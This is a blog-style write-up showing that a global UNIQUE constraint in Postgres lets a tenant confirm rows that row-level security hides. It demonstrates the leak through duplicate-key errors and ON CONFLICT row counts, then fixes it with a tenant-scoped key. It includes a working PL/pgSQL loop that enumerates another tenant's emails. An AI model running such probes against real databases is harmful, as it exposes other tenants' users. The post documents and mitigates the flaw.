Postgres RLS Unique Constraint Leak: Hidden Rows Collide

On 11 November 2026, in a sandbox, tenant 1 ran SELECT for [email protected] and got zero rows. Then it ran an INSERT for the same address and got ERROR: 23505: duplicate key value violates unique constraint "users_email_key". Postgres had dropped the DETAIL line that would print the key, and the error code still told tenant 1 that Bob's row exists. That is a Postgres RLS unique constraint leak.

A reader of my Postgres schemas post pointed out that unique constraints leak rows a role cannot read. That post already showed the foreign-key version, where a foreign key check reveals whether an id exists to a role with no access to the table. This post covers the unique-constraint version, which I built and ran on three Postgres versions.

TL;DR: A Postgres RLS unique constraint leak exists because unique checks bypass row-level security. A tenant who cannot SELECT a row can still learn it exists from the error code, or from a row count with ON CONFLICT DO NOTHING. Suppressed DETAIL does not close it. Scoping the key to UNIQUE (tenant_id, email) does, where per-tenant uniqueness is acceptable.

Does a Postgres RLS Unique Constraint Leak Hidden Rows?

Yes. In my demo a tenant-scoped role saw one row, yet its INSERT of another tenant's email failed with SQLSTATE 23505, while an unused email succeeded. The PostgreSQL documentation says as much: unique checks "always bypass row security", and the CREATE POLICY notes name duplicate inserts as an indirect way to learn a value exists.

The setup is one table with row-level security (RLS) and a global UNIQUE on email:

CREATE SCHEMA app;

CREATE TABLE app.users (
  id        serial PRIMARY KEY,
  tenant_id int  NOT NULL,
  email     text NOT NULL,
  name      text NOT NULL,
  CONSTRAINT users_email_key UNIQUE (email)
);
ALTER TABLE app.users ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON app.users
  USING      (tenant_id = current_setting('app.tenant_id')::int)
  WITH CHECK (tenant_id = current_setting('app.tenant_id')::int);

CREATE ROLE tenant_app LOGIN PASSWORD 'demo_ta';
GRANT USAGE ON SCHEMA app TO tenant_app;
GRANT SELECT, INSERT, UPDATE ON app.users TO tenant_app;
GRANT USAGE ON SEQUENCE app.users_id_seq TO tenant_app;

INSERT INTO app.users (tenant_id, email, name) VALUES
  (1, '[email protected]', 'Alice'),
  (2, '[email protected]',   'Bob'),
  (2, '[email protected]', 'Carol');

tenant_app is not the table owner, so RLS applies to it. I connect as tenant_app with PGOPTIONS='-c app.tenant_id=1'. The data is invented, all on .test domains, and the container ran with --network none.

Tenant 1 sees only Alice, and a count for Bob returns 0. The insert then fails:

INSERT INTO app.users (tenant_id, email, name) VALUES (1, '[email protected]', 'probe');

ERROR:  23505: duplicate key value violates unique constraint "users_email_key"
SCHEMA NAME:  app
TABLE NAME:  users
CONSTRAINT NAME:  users_email_key
LOCATION:  _bt_check_unique, nbtinsert.c:666

The same insert with [email protected] succeeded with INSERT 0 1, so the two outcomes differ and a caller can tell them apart.

Is the Duplicate Key in DETAIL if the Role Cannot Read It?

No. When RLS is enabled on the table, or the role lacks SELECT, Postgres omits the DETAIL line. The error text stays as it was, with the same SQLSTATE and constraint name, so the existence of the row is still disclosed. Hiding the value does not hide the fact.

The suppression is deliberate. In BuildIndexValueDescription in src/backend/access/index/genam.c on REL_18_STABLE, the comment reads: "First check if RLS is enabled for the relation. If so, return NULL to avoid leaking data." After that check, the function requires table-level SELECT, then column-level SELECT on every key column.

I ran three cases to see the effect. The first is the RLS tenant above, with no DETAIL. The second is a write-only role. intake has INSERT on app.signups and nothing else, with no RLS on that table:

SELECT email FROM app.signups;
INSERT INTO app.signups (email) VALUES ('[email protected]');

ERROR:  42501: permission denied for table signups
ERROR:  23505: duplicate key value violates unique constraint "signups_email_key"
SCHEMA NAME:  app
TABLE NAME:  signups
CONSTRAINT NAME:  signups_email_key

The role cannot read the table, and it still learns that [email protected] is in it. The third case is the superuser repeating the tenant's duplicate insert, which gets the full message:

ERROR:  23505: duplicate key value violates unique constraint "users_email_key"
DETAIL:  Key (email)=([email protected]) already exists.

That contrast is what the source predicts: DETAIL appears for a role that may read the key and is dropped for one that may not.

Does ON CONFLICT DO NOTHING Reveal a Hidden Row?

Yes, and without raising an error. In the demo, ON CONFLICT (email) DO NOTHING RETURNING id returned INSERT 0 0 and zero rows for an email held by another tenant, and INSERT 0 1 with one row for an unused email. The row count is the oracle, so error handling in the attacker is not needed.

BEGIN;
INSERT INTO app.users (tenant_id, email, name)
  VALUES (1, '[email protected]', 'probe')
  ON CONFLICT (email) DO NOTHING RETURNING id;   -- (0 rows), INSERT 0 0
INSERT INTO app.users (tenant_id, email, name)
  VALUES (1, '[email protected]', 'probe')
  ON CONFLICT (email) DO NOTHING RETURNING id;   -- 1 row, INSERT 0 1
ROLLBACK;

DO UPDATE behaved differently. Against Bob's hidden row, ON CONFLICT (email) DO UPDATE SET name = 'probe' failed with ERROR: 42501: new row violates row-level security policy (USING expression) for table "users". That is a different code from 23505 and a different outcome from a silent zero. I did not run DO UPDATE against an unused email, so I do not count it as a third oracle.

How Quickly Can a Tenant Enumerate Hidden Emails?

In my sandbox, in milliseconds. A PL/pgSQL loop of 1,000 candidate emails, with two real ones hidden in tenant 2 at positions 500 and 900, found both in 34.024 ms on PostgreSQL 18.6. Each insert is undone by a raised exception inside a subtransaction, so the loop leaves no rows behind and keeps probing.

DO $$
DECLARE hits int := 0; i int; guess text;
BEGIN
  FOR i IN 1..1000 LOOP
    guess := CASE i WHEN 500 THEN '[email protected]' WHEN 900 THEN '[email protected]'
                    ELSE 'user' || i || '@tenant-two.test' END;
    BEGIN
      INSERT INTO app.users (tenant_id, email, name) VALUES (1, guess, 'probe');
      RAISE EXCEPTION USING ERRCODE = 'P0001';  -- undo the insert, keep probing
    EXCEPTION
      WHEN unique_violation THEN hits := hits + 1; RAISE NOTICE 'exists: %', guess;
      WHEN raise_exception THEN NULL;
    END;
  END LOOP;
  RAISE NOTICE '% of 1000 guesses exist in another tenant', hits;
END $$;

NOTICE:  00000: exists: [email protected]
NOTICE:  00000: exists: [email protected]
NOTICE:  00000: 2 of 1000 guesses exist in another tenant
DO
Time: 34.024 ms

The same loop took 61.109 ms on PostgreSQL 17.11 and 28.997 ms on 16.13. Those are one run each, on one laptop-class host, inside a container. They are not a benchmark. The loop runs as SQL inside the database; I did not test how fast the same guesses go through an application's sign-up endpoint. The point is the count, 2 of 1000, from a role that could read none of those rows.

How Do You Make a Unique Constraint Tenant-Safe With RLS?

Scope the constraint to the tenant: replace UNIQUE (email) with UNIQUE (tenant_id, email). Uniqueness is then checked only within one tenant, which is the set of rows the tenant can already see, so a collision reveals nothing new. The fix is two statements, run as the owner.

ALTER TABLE app.users DROP CONSTRAINT users_email_key;
ALTER TABLE app.users ADD CONSTRAINT users_tenant_email_key UNIQUE (tenant_id, email);

This is the same fix that Bytebase's list of RLS footguns gives in its section on cross-tenant unique constraints, which uses (tenant_id, lower(email)). I did not test a lower(email) expression index, and I did not test what the change does to foreign keys that referenced email.

Within a single tenant the constraint still enforces uniqueness, and I checked that tenant 1 inserting its own [email protected] still fails with 23505 on users_tenant_email_key. Even there the output has no DETAIL line, because RLS is on for the table. An application cannot count on parsing DETAIL to tell the user which value collided.

Does UNIQUE (tenant_id, email) Fully Close the Leak?

Yes, for the tested table. After the fix, tenant 1 inserted [email protected] successfully, the 1,000-guess loop found 0 of 1000, and writes aimed at tenant 2 failed identically whether or not the email existed. Where a value must be globally unique, the leak is the requirement itself.

The results after the fix, run as tenant 1:

• Bob's address: INSERT ... (1, '[email protected]', ...) RETURNING id, tenant_id, email returned 1010 | 1 | [email protected], then I rolled it back. The id is 1010 because the loop's undone inserts had already consumed sequence values.
• Writing into tenant 2: an insert with tenant_id = 2 returned ERROR: 42501: new row violates row-level security policy for table "users" for [email protected] and for [email protected]. Bob's row in tenant 2 would have collided with the new key, so WITH CHECK rejected the row before the unique index answered, and the response carries no signal.
• The loop: 0 of 1000 guesses exist in another tenant.

The fix cannot solve one case. If a login email must be unique across the whole system, then a global UNIQUE (email) is the requirement, and anyone who can attempt the insert learns whether an address is taken. Scoping works only where per-tenant uniqueness is acceptable. This is my reasoning from the results above, not something I tested.

Limitations: What Does This Demo Not Cover?

The demo is a single sandbox with sample data. It covers PostgreSQL 16.13, 17.11 and 18.6 (official Alpine images, x86_64-pc-linux-musl), and results were identical on all three except the loop timing. Nothing here describes a production system, and I make no claim about any deployment's use of RLS.

Not tested:

• PgBouncer, or how an ORM or driver maps 23505 and 42501 into application errors.
• Timing side channels, such as index lookup time for a present versus an absent key.
• Whether sequence gaps, like the jump to id 1010, let a tenant infer anything.
• ON CONFLICT DO NOTHING with no conflict target, and ON CONFLICT for the intake role, which has no SELECT. The CREATE POLICY notes say an arbiter needs SELECT on the relation.
• ON CONFLICT DO UPDATE against an email that does not exist, so I do not claim it distinguishes presence the way DO NOTHING does.
• PostgreSQL 19, because postgres:19-alpine was not available on 11 November 2026.

The roles use throwaway passwords in a container with no network. For real credentials, the post on rotating database credentials covers the operational side. The demo's scripts (setup.sql, probe.sql, probe_intake.sql, probe_owner.sql, fix.sql, probe_after.sql) are short enough to paste, so I have not published a repository.

References

• PostgreSQL documentation, Row Security Policies: referential integrity checks, "such as unique or primary key constraints and foreign key references, always bypass row security", and the warning about "covert channel" leaks.
• PostgreSQL documentation, CREATE POLICY: "This means there are indirect ways to determine that a given value exists", and the SELECT requirement for ON CONFLICT.
• PostgreSQL documentation, INSERT: ON CONFLICT syntax and privileges.
• PostgreSQL source, genam.c on REL_18_STABLE: BuildIndexValueDescription, the DETAIL suppression under RLS.
• Bytebase, Common Postgres Row-Level-Security footguns: prior art for the tenant-scoped key.

The missing DETAIL line kept Bob's address off the screen, and SQLSTATE 23505 still told tenant 1 that it exists. How do you handle a login email that has to stay globally unique in an RLS multi-tenant schema: accept the disclosure, change the sign-up flow, or something else?